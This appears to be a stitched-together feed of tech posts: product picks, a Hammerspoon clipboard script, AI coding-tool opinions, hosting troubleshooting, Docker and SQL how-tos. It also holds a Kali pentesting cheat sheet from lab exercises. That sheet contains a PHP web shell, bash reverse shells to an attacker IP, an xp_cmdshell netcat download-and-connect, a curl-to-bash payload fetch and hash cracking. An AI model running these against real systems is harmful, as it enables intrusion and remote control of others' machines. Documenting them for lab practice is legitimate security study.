🪇 Rustled the first issue
Watch: https://youtu.be/GG6visgV5rs

We're breaking down 3 new products that hooked us:

AirPoint
Computer control without a mouse and trackpad. The cursor moves behind your hand via the webcam, and popular actions can be assigned to gestures.
Site: https://www.airpoint.app/
Product Hunt: https://www.producthunt.com/products/airpoint
Author — Mario Andres “Andrew” Flores: https://x.com/andrewflowersmd

Duck, Duck, Duck! by IDEO
A physical and virtual AI duck for Claude Code. It monitors the coding session, reacts to what's happening, and helps maintain context.
Site: https://duck-duck-duck.edges.ideo.com/
Product Hunt: https://www.producthunt.com/products/duck-duck-duck-by-ideo
GitHub / Download app: https://github.com/ideo/duck-duck-duck
Project team:
Jenna Fizel — https://www.linkedin.com/in/jftesser
Danny DeRuntz — https://www.linkedin.com/in/danny-deruntz-3200b419
Andrew Reischling — https://www.linkedin.com/in/andrew-reischling-9611b7167

DynamicLake
An app that turns the MacBook notch into an interactive island with music, notifications, files, and other utilities.
Site: https://www.dynamiclake.com/
Product Hunt: https://www.producthunt.com/products/dynamiclake
Author — Avior Rokach: https://x.com/AVIROK1

— Rustled

At first I thought the assistant itself was inserting trailing spaces. Asked it not to. Didn't help. I started digging — turns out it's the renderer: the terminal indents the assistant's text by two spaces to visually separate it from my input. When you copy, that indent honestly lands in the clipboard.

iTerm2 has an option for this called "Trim trailing whitespace when copying". Wave doesn't. Claude Code's settings don't have anything similar either.

I decided to bind clipboard cleanup to a hotkey via Hammerspoon. Simple idea: hit Cmd+Shift+V, a Lua script grabs the clipboard, strips the two leading spaces from every line, puts it back, and emulates a regular Cmd+V.

Sounds like ten lines of code. In practice I collected a set of pitfalls.

Pitfall 1. The Hammerspoon hotkey API registers a combo by character. When I wrote hs.hotkey.bind({"cmd","shift"}, "v", ...), it looked at the active keyboard layout. At the moment Hammerspoon loaded my layout was Russian — and on the Russian layout the physical V key produces the letter "м". The hotkey registered as ⌘⇧м and worked only when Russian was active. Switched to English — nothing happens.

Pitfall 2. I tried passing a raw keycode as a number — 9 is the physical V key on any layout. bindSpec accepts a number but silently ignores it and still looks for a string. bind accepts the number, but it didn't fire on a physical keypress — apparently something at the Carbon Events level breaks with a non-Latin layout.

In the end I threw out the hotkey API entirely and moved to hs.eventtap.new — that's interception at the CGEventTap level, below applications and below layouts. I get a raw keyDown event and check modifiers and keycode 9 manually. Works everywhere.

Pitfall 3. The most annoying one. After all the fixes I restart Hammerspoon, the config loads, hs.accessibilityState() returns true. But eventtap doesn't receive a single event. I physically press Cmd+Shift+V — logs are empty. I send it programmatically via hs.eventtap.event.newKeyEvent(...):post() — it fires.

Went to System Settings → Privacy & Security → Accessibility. Hammerspoon was there, toggle on. I flipped it OFF, waited two seconds, flipped it back ON. Restarted Hammerspoon. Worked.

Looks like after pkill macOS cached the permission in a "kinda granted but not really" state. The re-toggle reissues the actual permission for the low-level event tap. accessibilityState() was lying the whole time.

Bottom line: Cmd+Shift+V now cleans the clipboard before pasting. Regular Cmd+V still works the same. If this ever breaks again — I know what to check first.

Final ~/.hammerspoon/init.lua:

local function cleanText(s)
  if s == nil or s == "" then return s end
  s = s:gsub("^  ", "")           -- leading 2 spaces at the very start
  s = s:gsub("\n  ", "\n")        -- leading 2 spaces after every newline
  s = s:gsub("[ \t]+\n", "\n")    -- trailing whitespace before newlines
  s = s:gsub("[ \t]+$", "")       -- trailing whitespace at the very end
  return s
end

local tap = hs.eventtap.new({hs.eventtap.event.types.keyDown}, function(event)
  local flags = event:getFlags()
  -- keycode 9 = physical V key on US ANSI, independent of layout
  if flags.cmd and flags.shift and not flags.alt and not flags.ctrl
     and event:getKeyCode() == 9 then
    local raw = hs.pasteboard.getContents()
    if raw == nil or raw == "" then return true end

    hs.pasteboard.setContents(cleanText(raw))

    -- post a synthetic Cmd+V to the focused app
    hs.timer.doAfter(0.02, function()
      hs.eventtap.event.newKeyEvent({"cmd"}, 9, true):post()
      hs.timer.usleep(20000)
      hs.eventtap.event.newKeyEvent({"cmd"}, 9, false):post()
    end)
    -- restore the original clipboard after the paste completes
    hs.timer.doAfter(0.6, function()
      hs.pasteboard.setContents(raw)
    end)

    return true  -- consume the original Cmd+Shift+V so the app doesn't also see it
  end
  return false
end)
tap:start()

-- auto-reload on config edit
hs.pathwatcher.new(os.getenv("HOME") .. "/.hammerspoon/", function(files)
  for _, f in ipairs(files) do
    if f:match("%.lua$") then hs.reload(); return end
  end
end):start()

hs.alert.show("Hammerspoon: Cmd+Shift+V for clean paste")

("Normal 🔨Mere Tool🔨 behavior", — AI Notkilleveryoneism Memes) How are you doing?

— Mikhail Samin

Judging by benchmarks, it is noticeably stronger than Opus 4.6 in everything:

SWE-bench Verified: 93.9% vs 80.8%
Humanity's Last Exam: 56.8% vs 40.0%
GPQA Diamond: 94.6% vs 91.3%
Coding, reasoning, agent tasks — everywhere a significant lead

Essentially, this is the next generation after Opus. Anthropic keeps it closed for safety reasons — the model is too good at finding and exploiting vulnerabilities, so releasing it to everyone at once is currently risky.
They want to first test the protective filters on the new Opus, and then open access to the Mythos-class to a wider audience.

I work with Opus every day and it already handles complex tasks on its own quite often, so what comes next? 🤯

It seemed like that was the end of it.

However, I accidentally noticed while on my home PC without VPN that the site wasn't loading completely; the number of games module was hidden for some reason. I went to investigate.

From the server side, everything looks fine:
curl https://chess.rodeo
responds quickly, the API is working, and there are no errors.

I started looking at the connections and saw a strange picture:

TCP to the server is established,
the TLS handshake passes,
but then some HTTP requests hang.

In other words, the connection was established, but there is no response.

At first, I thought it was something on my end. I checked Caddy, the backend, the logs—I tried everything—but nothing helped.

I contacted the host. They said everything is normal on their side and they don't see any network issues.

In the end, I decided to route traffic through a proxy, set up caching, and request limits along the way—and everything started working.

It seems that for some ISPs, the HTTP/HTTPS traffic was breaking somewhere along the route to the server. It works via a different route. Meanwhile, ping works, and SSH establishes fine. You could think everything is okay and not even know you have a problem.

Ideally, of course, you shouldn't rely on a single route and a single IP. You need a proxy or CDN with multiple entry points so traffic can take different paths. And wrap everything in monitoring (hello Sentry) and analytics.

I registered chess.rodeo through Cloudflare. Everything worked until I was told: "my link doesn't open." I started investigating – it turned out that a number of Russian providers block Cloudflare at the NS server level. That is, the domain simply doesn't resolve. It's not that the site is unavailable, but that the domain itself cannot be found. To the user, this looks like "site does not exist."

For the same reason, it is also not worth proxying traffic through Cloudflare. Yes, the Cloudflare proxy has a lot of pros – DDoS protection, acceleration of loading by distributing static content from the server closest to the user, showing a cached version of the site when the server goes down (Always Online), and basic protection against typical attacks like SQL injections (WAF) – but if a portion of users in principle cannot reach you, the benefit of these pros is zero.

What can be done if you have already registered on Cloudflare:

• You can move to another registrar only 60 days after registration (ICANN requirement), and you will have to pay for an immediate one-year extension. Before – impossible.
• On the Cloudflare free tier, you cannot change NS servers to others (non-Cloudflare ones). There is an option to enable Multi-provider DNS – we tried it. It works intermittently, when an unblocked NS is randomly selected. Better than nothing, but it cannot be called a stable solution.
• You can take the paid Business tier ($200/mo) – only on it are custom NS servers available. But if you are paying $200 a month just to make the domain open normally in Russia, why register on Cloudflare at all?

Result: I switched to Porkbun. There seem to be no blocks, I won't claim it 100%. If you are making a project for a Russian audience – take a registrar whose NS are not blocked. The $2 saved on the domain is not worth the lost users.

I created an extension primarily for myself to remove friction. At the same time, Chrome has an extension search, and the extensions themselves are indexed by Google. As a result, this can also serve as an entry point for new users.

It also hooks the audience. If someone installs it, it means the product is genuinely needed by them. It is easier to reach such a user later to remind them of yourself, show an update, or offer early access.

The extension itself is quite simple to make. Claude or Codex can build an extension for your product from just one or two prompts.

You don't need syntax or JavaScript tutorials: say "make a contact form" and you get a form.

Why this didn't work before

GPT-3 could spit out a function, but it couldn't build a project: it lost context, mixed up files and forgot what it was doing a minute ago.

Now Claude 4.5, GPT-5, Gemini 3 keep the whole project in their head. They understand you even when you explain things badly. They find and fix their own bugs.

Plus real tools showed up: Cursor, Claude Code, Codex. You write what you need – AI edits files – you see results. Whole loop takes seconds.

Who needs this

Product managers, designers, founders, marketers – anyone who wants to build products but doesn't want to spend three years learning to code.

A PM can build a prototype instead of writing specs. A designer can turn mockups into working sites. A founder can test an idea over the weekend.

What you can build

In a couple hours – landing page, Telegram bot, browser extension, automation script.

Over a weekend – SaaS with auth, tool with a database. That's how I build chess.rodeo.

Where to start

Pick a tool:

• Lovable or Replit – everything in browser, nothing to install
• Codex – harder to figure out, but more flexible
• Claude Code – popular, but decent work needs a $100+/month plan

More on tools in a separate post.

Start small. Don't try to build a "Notion killer" right away – make a personal page or a bot that sends weather.

The main thing is learning to explain to AI what you need. It's a skill, comes with practice.

Limitations

Vibe coding won't make you a programmer. You won't understand what's happening under the hood. For most tasks you don't need to: a working product is enough.

If you want to go deeper later, you will, but for getting started it's unnecessary.

Want to learn? I do mentoring. In a few calls I'll show you how to build products yourself.

Not because the analysis is bad, but because the process is a hassle.

Every time it’s the same:

• open chess.rodeo
• click sync
• find the right game
• start analysis

It doesn't seem complicated, but it’s friction that prevents the habit from forming.
Instead of analyzing, it’s easier to just start the next game.

As a result, I made a Chrome extension
that embeds directly into chess.com.
The game ends – and there’s immediately a button that opens the analysis page.

This turned out to be enough for me to start using the product more often myself.
Although starting the next game is still more pleasant than digging into the analysis.
I’ll keep thinking about it.

The statistics only include users who consented to cookies, so the real number is higher.
No artificial boosting and no paid marketing — just building a convenient chess service ♟️

A few numbers from production:
— 216k+ games uploaded
— 8.4k analyzed

As for "marketing" — a few videos on YouTube and one short video.
The rest is organic. The product is growing on its own.

If you're going to try it, it's better to install it as a VS Code extension. I checked the terminal installation option, which I currently always use and recommend for everything listed above. But not in this case; Kilo Code's terminal interface is really clunky: • there is no "allow all" mode; it's sort of there, but it doesn't really allow everything 😅 • you have to really struggle to resume a previous session • if you open it in two windows, the second one seems to hijack control from the first instance Overall, the terminal version looks questionable for now. But as an extension, everything looks very nice and works well. It even praised me for my work, which was also nice.

That's a really juicy offer; if it's actually better than Opus, then you can manage to complete several projects over these 6 days and evaluate how it all works without spending a penny.

1. ChatGPT Codex
   https://openai.com/chatgpt $20 a month, included in the regular Plus subscription that many people pay for anyway. Very large limits — if compared to Claude, it's like their ~$100 plan. If you don't sit in it all working day, but use it for your side projects – in my opinion, this is currently the best option. Plus, Codex has a large memory window: it easily digests large projects and doesn't constantly go into "spacing out" mode due to overflowing context.

2. Claude Code (Max)
   https://www.anthropic.com/claude Subscription is $100, but in reality, you often have to get the $200 one if you really work all day or manage several projects. There's no point in getting the $20 one; it runs out instantly, it won't even be enough for a side project, especially if you turn on the top-tier Opus model. As a product overall, they are the best right now. They set the direction, others mostly catch up. According to reviews, Opus is considered the "smartest" model on the market. In my experience — it's not a given that it's actually smarter than Codex, but if you need to write a lot of code and have an extra $200 — this is probably the best option (although I haven't taken the $200 subscription from ChatGPT, maybe it's better).

3. OpenCode
   https://opencode.ai An open tool. You can use some models for free, connect GPT or Claude APIs, or even your own local models. A good option if you want to try it completely for free or use local models.

4. Kimi K2.5
   https://kimi.com It came out literally yesterday. I've already heard good reviews, haven't tried it myself yet. They claim Opus level, it costs much less, and theoretically, you can deploy a cut-down version locally (requires a graphics card with a large amount of memory).

5. GLM-4.7
   https://github.com/THUDM/GLM A Chinese model, also aiming to compete with Opus and Codex. How good it is — I can't say, but it costs less. And they have a lighter version, GLM-4.7 Flash, which can be used for free via the same OpenCode. Or hook it up to the trendy Clawdbot (Moltbot) — and not think about tokens/money at all.

6. Google Antigravity
   https://deepmind.google/technologies/alphacode/ It doesn't work in Russia, but you can find a workaround and connect via the same OpenCode. I don't know how long the free limits last, but if you want to try out Opus for free at least a little, this is an option.

7. Copilot
   https://github.com/features/copilot It didn't work out for me. Two attempts: the first time I couldn't pay, the second time — the subscription seemed to go through, but in one project it didn't see it, and in another it constantly hung and threw errors. Although in terms of price and limits it looks pretty good: $10 — 300 requests to Claude Sonnet, $39 — 1500 requests. But my personal experience was so-so.

If you are just getting into vibe coding – get Codex and don't stress. For starting out, this is currently the most normal option.

Hollywood AI movie trailers can no longer be distinguished from real ones. Neither by the visuals, nor by the editing, nor by the acting.

AI slop is getting ready to hit the cinemas💀

— zucchini caviar on sale

Kali OS

Select Network Repositories

Default:

echo "deb http://http.kali.org/kali kali-rolling main contrib non-free" | sudo tee /etc/apt/sources.list

More stable:

echo "deb http://http.kali.org/kali kali-last-snapshot main contrib non-free" | sudo tee /etc/apt/sources.list

Install all tools:

sudo apt install -y kali-linux-large

Install GUI:

sudo apt install -y kali-win-kex

GUI Documentation. Run GUI, to exit from full screen mode press F8:

kex --win -s

Wappalyzer — browser extension to see the technologies used on websites.

OpenVPN

sudo openvpn --config vpn.ovpn --daemon

The network interface can be checked by running the ifconfig command in the terminal.

Shutdown

sudo ifconfig tun1 down

Search WebCatalogs on site: dirsearch -u http://october.metaltech.stf/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt

Responder

sudo responder -I tun0

John the ripper

zip2john backup.zip > hashes

john -w=/usr/share/wordlists/rockyou.txt hash.txt

Identify possible hashes

hashid 2cb42f8734ea607eefed3b70af13bbd3

Crack hash

hashcat -a 0 -m 0 hash /usr/share/wordlists/rockyou.txt

Pentesting MSSQL

MSSQL Injection Cheat Sheet

Impacket mssql client

impacket-mssqlclient ARCHETYPE/sql_svc@{TARGET_IP} -windows-auth

xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.17.81/nc64.exe -outfile nc64.exe"
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 10.10.17.81 443"

SQL map

sqlmap -u 'http://10.129.10.184/dashboard.php?search=asd' --cookie='PHPSESSID=tg7rj9h95j4bb1u3211ti406qo'

sqlmap -u 'http://10.129.10.184/dashboard.php?search=asd' --cookie='PHPSESSID=tg7rj9h95j4bb1u3211ti406qo' --os-shell

winPEAS (Windows Privilege Escalation)

linPEAS (Linux Privilege Escalation)

Evil Win Remote

evil-winrm -i 10.129.233.177 -u administrator -p badminton

Nmap

sudo nmap -sV 192.168.1.1

sudo nmap -sV -sC 192.168.1.1

sudo nmap -p- --min-rate 5000 -sV 192.168.1.1

Gobuster

go install github.com/OJ/gobuster/v3@latest
git clone https://github.com/danielmiessler/SecLists.git
gobuster dir --url http://10.129.236.130/ --wordlist ./SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
gobuster dir --url http://10.129.119.70/ --wordlist ./SecLists/Discovery/Web-Content/directory-list-2.3-small.txt -x php,html
gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://thetoppers.htb

MySQL

mysql -h 10.129.132.32 -u root

SHOW databases; : Prints out the databases we can access.
USE {database_name}; : Set to use the database named {database_name}.
SHOW tables; : Prints out the available tables inside the current
database.
SELECT * FROM {table_name}; : Prints out all the data from the table {table_name}.

SMB

smbclient -N -L \\\\{TARGET_IP}\\
-N : No password
-L : This option allows you to look at what services are available on a server

Fully interactive shells

Simple PHP Shell

echo '<?php system($_GET["cmd"]); ?>' > shell.php

Reverse Shell

printf '#!/bin/bash\nbash -i >& /dev/tcp/<YOUR_IP_ADDRESS>/1337 0>&1' > shell.sh

Or

bash -c "bash -i >& /dev/tcp/{your_IP}/1337 0>&1"

Start ncat listener

nc -nvlp 1337

Start Web Server

python3 -m http.server 8000

Start example

http://thetoppers.htb/shell.php?cmd=curl%20%3CYOUR_IP_ADDRESS%3E:8000/shell.sh|bash

Functional shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

Upgrade shell

script /dev/null -c bash

Burp Suite

Metasploit

sqlmap

https://zerossl.com/

If you need to convert CRT to PFX, download openssl here:

https://indy.fulgan.com/SSL/

Something like “openssl-1.0.2q-x64_86-win64.zip” will work.

If you have separate crt for CA, join it with main certificate in text editor and name new file bundle.crt

Copy all certificates to openssl folder. Open folder in terminal and run following command:

.\openssl pkcs12 -export -out result.pfx -inkey private.key -in bundle.crt

Create some password for your new certificate and if everything was correct, you will find result.pfx in openssl folder.

• Visual Studio Code

• Figma

• Brew

  /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
  

• Iterm

  brew install --cask iterm2
  

• Zsh

  sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"
  

• Spectacle

• Notion

Just go to Unity Organizations Page and create new team.

Then you can create new project or open existing one.

Go to Window > General > Services.

At the top right corner click “Сollab” and make your first commit.

Now you can go to projects page and find your project.

Select your project and more info will appear.

Awesome! Good luck with your new project, see you soon 😉

I always wanted to use my macbook more effectively and do more tasks then I do right now. And I have found how to make it possible!

Automator

You already have this program on your Mac, no need to install something, just type Automator in search and use it 😉

So, you can automate some routine tasks on your Mac with this program. Later I will publish some examples how to use it and make you more effective person.

docker cp app:/app/config.yml .

app is the container name or ID from docker ps. The first path is inside the container, the second one is on your machine. To rename the file, give the new name: ./config.backup.yml. An existing local file is overwritten without a prompt.

Tested with Docker 29.7 and Docker Compose 5.5 on Alpine 3.24 and nginx:alpine containers.

Find the container and the file path

docker ps -a
docker exec app ls -l /app

docker ps -a also lists stopped containers. Container paths always start at /: docker cp ignores the working directory. If the container's WORKDIR is /app, then app:config.yml means /config.yml. The full path of a file in WORKDIR: docker exec app readlink -f config.yml.

Copy a folder from a container

# ./logs doesn't exist: created, with the files inside
docker cp app:/app/logs ./logs
# ./backup exists: you get ./backup/logs
docker cp app:/app/logs ./backup
# contents only: ./backup/a.log, ./backup/b.log
docker cp app:/app/logs/. ./backup

If the destination doesn't exist, Docker creates it and puts the folder's contents there. If it exists, the folder lands inside it, unless the source ends with /.: then only the contents are copied. A trailing slash alone (logs/) changes nothing.

Copy files from local machine into a Docker container

Swap the arguments:

docker cp ./settings.yml app:/app/
# /srv/static
docker cp ./static app:/srv
# the contents of static in /var/www
docker cp ./static/. app:/var/www

The folder rules are the same. The copy lives only in this container: after docker rm or docker compose up --force-recreate it's gone. Files the app always needs belong in the image (COPY in the Dockerfile) or in a volume.

Copy a file inside a Docker container or between containers

To copy a file inside a container, run cp there:

docker exec app cp /app/config.yml /app/config.bak

To copy between two containers, pipe one docker cp into another:

docker cp app:/app/logs - | docker cp - other:/tmp

Stopped containers work too

docker cp copies from and into stopped containers. When a container crashes at start, pull out its logs, put back a fixed config and run docker start app. Files in volumes are copied too.

docker compose cp

In the folder with compose.yaml, use the service name instead of the container:

docker compose cp web:/app/config.yml .
docker compose cp ./override.yml web:/app/

If the service is scaled, copying in writes to every replica, while copying out picks one of them, not necessarily the first. Choose it with --index:

docker compose cp --index 2 web:/app/config.yml .

Stopped services work as well.

Permissions and file ownership

Mode bits survive both ways. The owner survives only on the way into the container, and only as numbers.

Container to host: files belong to whoever ran docker cp. So sudo docker cp on Linux leaves root-owned files. Take them back:

sudo chown -R "$(id -u):$(id -g)" ./logs

To drop sudo, add yourself to the docker group (sudo usermod -aG docker $USER) and log in again, as with any new group. This group gives root-level access to the machine.

Host to container: files keep the numeric UID and GID they had on the host, and sudo docker cp doesn't change them. That's 1000:1000 for a typical Linux user and 501:20 on a Mac. If the app in the container runs as another user, writing to them fails with Permission denied. With -a, Docker hands the files to the container's user, the one from --user or USER in the Dockerfile:

docker cp -a ./settings.yml app:/app/

If neither --user nor USER is set, -a changes nothing. It also does nothing when copying out. To fix an owner afterwards: docker exec -u 0 app chown 1000:1000 /app/settings.yml.

Copy a file from a Docker image

docker cp needs a container, but not a running one. docker create makes it from the image without starting anything:

docker create --name tmp nginx:alpine
docker cp tmp:/etc/nginx/nginx.conf .
docker rm tmp

An image without a default command (FROM scratch) fails with no command specified. Pass any command, nothing will run it:

docker create --name tmp my-image none

Stream a tar archive with -

With - instead of the local path, docker cp writes a tar archive to stdout or reads one from stdin:

docker cp app:/app/logs - > logs.tar
docker cp app:/app/logs - | gzip > logs.tar.gz
tar -c -C ./site . | docker cp - app:/var/www

When reading, the destination must be an existing folder; gzip is fine too. On a Mac, tar packs extended attributes, and Docker fails with xattr "com.apple.provenance": operation not supported. Pack without them:

COPYFILE_DISABLE=1 tar --no-xattrs -c -C ./site . | docker cp - app:/var/www

Plain docker cp ./site/. app:/var/www doesn't have this problem.

Copy files by mask or from tmpfs

docker cp doesn't expand globs: docker cp 'app:/app/logs/*.log' . fails. In tmpfs mounts it sees an empty folder, and it can't read /proc, /sys or /dev at all. Run tar inside the running container instead:

mkdir -p logs scratch
docker exec app sh -c 'cd /app/logs && tar -c *.log' | tar -x -C ./logs
docker exec app tar -c -C /scratch . | tar -x -C ./scratch

Run docker exec without -t: a TTY corrupts the archive.

Copy a file from a Docker container on Windows

Same command in PowerShell. A path with a drive letter counts as local:

docker cp app:/app/config.yml C:\Users\me\Desktop

Common errors

• No such container: app: wrong name or ID, check docker ps -a. Compose names containers like project-web-1; with docker compose cp use the service name.
• Could not find the file /app/config.yml in container app: wrong path in the container. When copying in, the folder you copy into is missing: for app:/app/conf/settings.yml that's /app/conf. Also shows up for paths relative to WORKDIR, globs and files in tmpfs.
• no such directory or invalid output path: directory "…" does not exist: the destination folder is missing, on the host or in the container. Create it with mkdir -p, in the container with docker exec app mkdir -p /app/conf.
• cannot copy directory: the destination is an existing file.
• copying between containers is not supported: both arguments contain a colon. A local name with : needs ./ in front: ./backup:1.yml.
• must specify at least one container source: neither argument has container:.
• container rootfs is marked read-only: the container runs with --read-only. Its volumes still accept files.
• The copy is a broken link: the source is a symlink, and Docker copied the link itself. Add -L to copy the file it points to.

git init

To add all files to next commit, run following:

git add .

To check git status, use this:

git status

Run command to make your first commit:

git commit -m "Your comment"

Setup link to your github repository and push changes:

# link the local repo to the remote one
git remote add origin <Link to GitHub Repo>

# check the link
git remote -v

# push the committed changes to the remote repo
git push -u origin master

ng new

Update application and it’s dependencies

ng update

For development, start the app at localhost:4200

ng serve --open

Generate new component

ng generate component [component name]

Install in-memory Web API

npm install angular-in-memory-web-api --save

Publish Angular to Azure

SET IDENTITY_INSERT dbo.Tool ON;

-- The column list is required
INSERT INTO dbo.Tool (ID, Name)
VALUES (3, 'Garden shovel');

SET IDENTITY_INSERT dbo.Tool OFF;

To start numbering from 1 again after deleting every row with DELETE (for IDENTITY(1,1)):

-- The table was emptied with DELETE: the next ID is 0 + 1
DBCC CHECKIDENT ('dbo.Tool', RESEED, 0);

If the table was emptied with TRUNCATE TABLE, the same command gives the next row ID 0. Details below.

IDENTITY_INSERT rules

• Without a column list the insert fails with error 8101: An explicit value for the identity column in table 'MyDb.dbo.Tool' can only be specified when a column list is used and IDENTITY_INSERT is ON. With a column list but IDENTITY_INSERT off, with error 544: Cannot insert explicit value for identity column in table 'Tool' when IDENTITY_INSERT is set to OFF.
• Only one table in a session can have IDENTITY_INSERT on. Turning it on for a second table fails with an error that names the table where it's already on.
• If you insert a value larger than the current identity, SQL Server moves the counter up: after inserting ID 1000 by hand, the next automatic ID is 1001.
• You need to own the table or have ALTER permission on it.

DBCC CHECKIDENT RESEED: 0 or 1

After DBCC CHECKIDENT ('dbo.Tool', RESEED, N) the next row gets:

A rolled-back insert counts as a deleted row: the next ID is N + increment.

After TRUNCATE TABLE you don't need CHECKIDENT at all: TRUNCATE already resets the counter to the seed from the table definition.

Check and fix the counter

-- Current counter and the largest ID in the column; changes nothing
DBCC CHECKIDENT ('dbo.Tool', NORESEED);

-- The current counter as a value
SELECT IDENT_CURRENT('dbo.Tool');

-- If the counter is below the largest ID, raise it to the largest ID
DBCC CHECKIDENT ('dbo.Tool', RESEED);

RESEED without a number never lowers the counter. After deleting the last rows, lower it in two steps: set a small value, then let RESEED raise it to the largest ID left:

DBCC CHECKIDENT ('dbo.Tool', RESEED, 0);
DBCC CHECKIDENT ('dbo.Tool', RESEED);

Don't set the counter below the largest ID in a table with rows. With a PRIMARY KEY or UNIQUE constraint, later inserts fail with error 2627. Without one, you get duplicate IDs.

To run DBCC CHECKIDENT you must own the schema that contains the table or be a member of sysadmin, db_owner or db_ddladmin.

What doesn't work

• UPDATE dbo.Tool SET ID = 5 WHERE ID = 3 fails with Cannot update identity column 'ID'. To change an ID, insert a copy of the row with IDENTITY_INSERT and delete the old one.
• CHECKIDENT doesn't renumber existing rows and doesn't change the seed from the table definition. For that, recreate the identity column.
• Gaps are normal: rolled-back transactions and server restarts skip values. SQL Server 2017 and later can turn off the identity cache behind restart gaps with ALTER DATABASE SCOPED CONFIGURATION SET IDENTITY_CACHE = OFF;, but if you need numbers without gaps, keep them in a separate column.

SELECT DATEADD(day,    -1, GETDATE());  -- now minus 1 day
SELECT DATEADD(month,  -1, GETDATE());  -- now minus 1 month
SELECT DATEADD(year,   -1, GETDATE());  -- now minus 1 year
SELECT DATEADD(minute, -30, GETDATE()); -- now minus 30 minutes

The syntax is DATEADD(datepart, number, date) (Microsoft docs). A positive number moves forward: DATEADD(month, 5, GETDATE()) is five months from now.

Date minus date is DATEDIFF(day, @from, @to): the number of days between them. It counts boundaries crossed, not whole periods, so DATEDIFF(year, '20251231', '20260101') returns 1 after a single day.

Current date minus 1 day, without the time

GETDATE() includes the time. For yesterday's date, cast to date first:

-- today, no time part
SELECT CAST(GETDATE() AS date);

-- yesterday
SELECT DATEADD(day, -1, CAST(GETDATE() AS date));

-- yesterday, SQL Server 2025
SELECT DATEADD(day, -1, CURRENT_DATE);

Since SQL Server 2025, T-SQL has CURRENT_DATE: it does the same as CAST(GETDATE() AS date) and returns date (Microsoft docs). Azure SQL Database and Azure SQL Managed Instance have it too. SQL Server 2022 and older don't have it: 2022 fails with "Incorrect syntax near the keyword 'CURRENT_DATE'".

DATEADD returns the type it was given: datetime for GETDATE(), date for a date. A string literal becomes datetime, so write it as 'yyyymmdd': with a Russian, German or British session language, '2026-11-03' reads as March 11.

GETDATE minus 1 day in a WHERE clause

The last 24 hours:

SELECT * FROM Orders
WHERE CreatedAt >= DATEADD(day, -1, GETDATE());

Yesterday as a calendar day, from midnight to midnight:

SELECT * FROM Orders
WHERE CreatedAt >= DATEADD(day, -1, CAST(GETDATE() AS date))
  AND CreatedAt <  CAST(GETDATE() AS date);

Keep the column bare and do the math on the other side. I compared plans on SQL Server 2022 with an index on CreatedAt: this range gets an Index Seek, while DATEDIFF(day, CreatedAt, GETDATE()) = 1 or CONVERT(varchar, CreatedAt, 120) scan the whole index. CAST(CreatedAt AS date) = ... happens to seek too, but the half-open range >= start AND < end works the same in every database.

With a DECLARE @today date variable the index may go unused: the optimizer builds the plan without knowing its value and assumes a fixed share of the table matches. In my test, SELECT * with the variable read the whole clustered index. If you need the variable, add OPTION (RECOMPILE).

Don't end the day with BETWEEN ... AND '23:59:59.999': against a datetime column, '23:59:59.999' rounds up to the next midnight, so rows stamped exactly at today's 00:00:00 slip in.

Current date minus 1 year or 1 month

-- same day last year
SELECT DATEADD(year, -1, CAST(GETDATE() AS date));

SELECT DATEADD(month, -1, '20260331'); -- 2026-02-28 00:00:00.000
SELECT DATEADD(year, -1, '20280229');  -- 2027-02-28 00:00:00.000

If that day doesn't exist in the target month, you get the month's last day.

SQL Server 2022 added DATETRUNC for the start of a month:

-- start of this month
SELECT DATETRUNC(month, GETDATE());

-- start of last month
SELECT DATEADD(month, -1, DATETRUNC(month, GETDATE()));

-- last day of last month
SELECT EOMONTH(GETDATE(), -1);

On older versions, use the DATEADD + DATEDIFF trick from start of month in MS SQL.

GETDATE, SYSDATETIME or CURRENT_TIMESTAMP

• CURRENT_TIMESTAMP is the ANSI name for GETDATE(): same datetime, accurate to about 3 ms. Current timestamp minus 1 day is DATEADD(day, -1, CURRENT_TIMESTAMP).
• SYSDATETIME() returns datetime2(7) with seven fractional digits.
• GETUTCDATE() and SYSUTCDATETIME() return UTC. Azure SQL Database runs on UTC by default, so there GETDATE() is UTC too.

Datepart values

• year (yy, yyyy)
• quarter (qq, q)
• month (mm, m)
• dayofyear (dy, y)
• day (dd, d)
• week (wk, ww)
• weekday (dw, w)
• hour (hh)
• minute (mi, n)
• second (ss, s)
• millisecond (ms)
• microsecond (mcs)
• nanosecond (ns)

In DATEADD, dayofyear, day and weekday all add days. microsecond and nanosecond don't work with datetime values like GETDATE().

Current date minus 1 day in PostgreSQL, MySQL, SQLite and Oracle

I ran these on PostgreSQL 16, MySQL 8.4 and SQLite 3.51 and checked Oracle against its documentation.

PostgreSQL

SELECT CURRENT_DATE - 1;                  -- today minus 1 day
SELECT now() - interval '1 day';          -- now minus 1 day
SELECT CURRENT_DATE - interval '1 month'; -- today minus 1 month

Date minus interval is a timestamp: CURRENT_DATE - INTERVAL '1 day' is yesterday 00:00:00. Add ::date for a date.

MySQL

SELECT DATE_SUB(CURDATE(), INTERVAL 1 DAY);   -- today minus 1 day
SELECT NOW() - INTERVAL 1 DAY;                -- now minus 1 day
SELECT DATE_SUB(CURDATE(), INTERVAL 1 MONTH); -- today minus 1 month

Don't write CURDATE() - 1: MySQL turns the date into a number, and on November 1 you get 20261100.

SQLite

SELECT date('now', '-1 day');     -- today minus 1 day
SELECT datetime('now', '-1 day'); -- now minus 1 day
SELECT date('now', '-1 month');   -- today minus 1 month

'now' is UTC; add 'localtime' for local time. date('2026-03-31', '-1 month') returns 2026-03-03. Since 3.46, add 'floor' as the last argument to get 2026-02-28.

Oracle

SELECT TRUNC(SYSDATE) - 1 FROM dual;             -- today minus 1 day
SELECT SYSDATE - 1 FROM dual;                    -- now minus 1 day
SELECT ADD_MONTHS(TRUNC(SYSDATE), -1) FROM dual; -- today minus 1 month

A number means days, so SYSDATE - 1/24 is an hour ago. For years use ADD_MONTHS(SYSDATE, -12). SYSDATE - INTERVAL '1' MONTH raises an error on March 31, because February 31 doesn't exist.

Pitfalls in T-SQL

• GETDATE() - 1 works on datetime, but SYSDATETIME() - 1 fails with "Operand type clash: datetime2 is incompatible with int". Use DATEADD.
